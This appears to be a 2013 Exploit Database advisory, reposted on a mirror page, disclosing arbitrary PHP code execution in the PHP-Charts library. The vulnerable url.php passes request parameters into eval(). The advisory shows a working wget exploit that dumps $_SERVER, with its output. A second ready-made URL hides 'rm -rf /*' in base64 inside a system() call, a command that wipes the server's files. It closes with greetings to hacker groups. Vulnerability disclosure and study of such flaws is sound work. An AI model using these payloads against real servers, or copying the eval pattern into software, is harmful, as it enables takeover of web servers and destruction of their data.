PHP-Charts – Arbitrary PHP Code Execution

• Exploit Database
• 88 阅读

• 作者： AkaStep
  日期： 2013-01-18
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/24201/

• ===============================================================
  Vulnerable Software: php-chart_v1.0 
  Official Site: http://php-charts.com/
  Vuln: PHP Code Execution.
  ===============================================================
  Tested On: Debian squeeze 6.0.6
  Server version: Apache/2.2.16 (Debian)
  PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) (built: Aug6 2012 20:08:59)
  Copyright (c) 1997-2009 The PHP Group
  Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
  with Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH
  
  ================================================================
  About Software:
  Php-Charts is basically a class which can be used to generate
  different charts(Bar, Pie, Doughnut etc.) in different format(PDF, PNG, JPG, HTML) 
  using different data source(csv, xml, MySQL, MS Sql, MS Access, PostgreSql,
  user defined data). 
  ================================================================
  
  About vuln:
  
  
  root@debian:/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard# cat url.php
  <?php
  require("../lib/phpchart.class.php");
  $color_var=array("txt_col","line_col","bg_color");
  $cname=$_GET["type"];
  $chart=new PHPChart($cname);
  
  foreach($_GET as $key=>$value)
  {
  if($value!="")
  {
  if(in_array($key,$color_var))
  eval('$chart->'.$key.'="#'.$value.'";');
  else if($value=='yes')
  eval('$chart->'.$key.'=true;');
  else if($value=='no')
  eval('$chart->'.$key.'=false;');
  else if(is_numeric($value))
  eval('$chart->'.$key.'='.$value.';');
  else
  eval('$chart->'.$key."='".$value."';");
  }
  }
  $chart->genChart();
  
  
  
  
  Exploitation:
  
  root@debian:/tmp# wget 'http://hacker1.own//wp/chart/chart/wizard/url.php?${var_dump($_SERVER)}=IZABEKAILOVEYOUBABY' -O out.txt && cat out.txt
  --2013-01-15 21:19:16--http://hacker1.own//wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY
  Resolving hacker1.own... 127.0.0.1
  Connecting to hacker1.own|127.0.0.1|:80... connected.
  HTTP request sent, awaiting response... 200 OK
  Length: unspecified [text/html]
  Saving to: “out.txt”
  
  [ <=>] 1,917 --.-K/s in 0s
  
  2013-01-15 21:19:17 (8.56 MB/s) - “out.txt” saved [1917]
  
  
  Notice: Undefined index: type in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php on line 4
  array(28) {
  ["DOCUMENT_ROOT"]=>
  string(28) "/etc/apache2/htdocs/hacker1/"
  ["GATEWAY_INTERFACE"]=>
  string(7) "CGI/1.1"
  ["HTTP_ACCEPT"]=>
  string(3) "*/*"
  ["HTTP_CLIENT_IP"]=>
  string(9) "127.0.0.1"
  ["HTTP_HOST"]=>
  string(11) "hacker1.own"
  ["HTTP_USER_AGENT"]=>
  string(21) "Wget/1.12 (linux-gnu)"
  ["HTTP_VIA"]=>
  string(77) "http/1.0 debian[FE800000000000000A0027FFFE077FC6] (ApacheTrafficServer/3.2.0)"
  ["HTTP_X_FORWARDED_FOR"]=>
  string(9) "127.0.0.1"
  ["PATH"]=>
  string(4) "/bin"
  ["PHPRC"]=>
  string(14) "/etc/php5/cgi/"
  ["QUERY_STRING"]=>
  string(45) "$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY"
  ["REDIRECT_STATUS"]=>
  string(3) "200"
  ["REMOTE_ADDR"]=>
  string(9) "127.0.0.1"
  ["REMOTE_PORT"]=>
  string(5) "60830"
  ["REQUEST_METHOD"]=>
  string(3) "GET"
  ["REQUEST_URI"]=>
  string(76) "/wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY"
  ["SCRIPT_FILENAME"]=>
  string(57) "/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php"
  ["SCRIPT_NAME"]=>
  string(30) "/wp/chart/chart/wizard/url.php"
  ["SERVER_ADDR"]=>
  string(9) "127.0.0.1"
  ["SERVER_ADMIN"]=>
  string(21) "webmaster@hacker1.own"
  ["SERVER_NAME"]=>
  string(11) "hacker1.own"
  ["SERVER_PORT"]=>
  string(2) "80"
  ["SERVER_PROTOCOL"]=>
  string(8) "HTTP/1.1"
  ["SERVER_SIGNATURE"]=>
  string(0) ""
  ["SERVER_SOFTWARE"]=>
  string(6) "Apache"
  ["UNIQUE_ID"]=>
  string(24) "UPYOJH8AAQEAAE8eNfMAAAAC"
  ["PHP_SELF"]=>
  string(30) "/wp/chart/chart/wizard/url.php"
  ["REQUEST_TIME"]=>
  int(1358302756)
  }
  
  Notice: Undefined variable:in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1
  
  Fatal error: Cannot access empty property in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1
  root@debian:/tmp#
  
  
  Example 2:
  
  http://hacker1.own//wp/chart/chart/wizard/url.php?&123&${var_dump(system(base64_decode(cm0gLXJmIC8q)))}=123456LoL
  
  =====================ENDS HERE============================
  
  
  ================================================
   KUDOSSSSSSS
  ================================================
  packetstormsecurity.org
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  security.nnov.ru
  securtiyvulns.com
  securitylab.ru
  secunia.com
  securityhome.eu
  exploitsdownload.com
  osvdb.com
  websecurity.com.ua
  1337day.com
  
  to all Aa Team + to all Azerbaijan Black HatZ
  + *Especially to my bro CAMOUFL4G3 *
  To All Turkish Hackers
  
  Also special thanks to: ottoman38 & HERO_AZE
  ================================================
  
  /AkaStep
  

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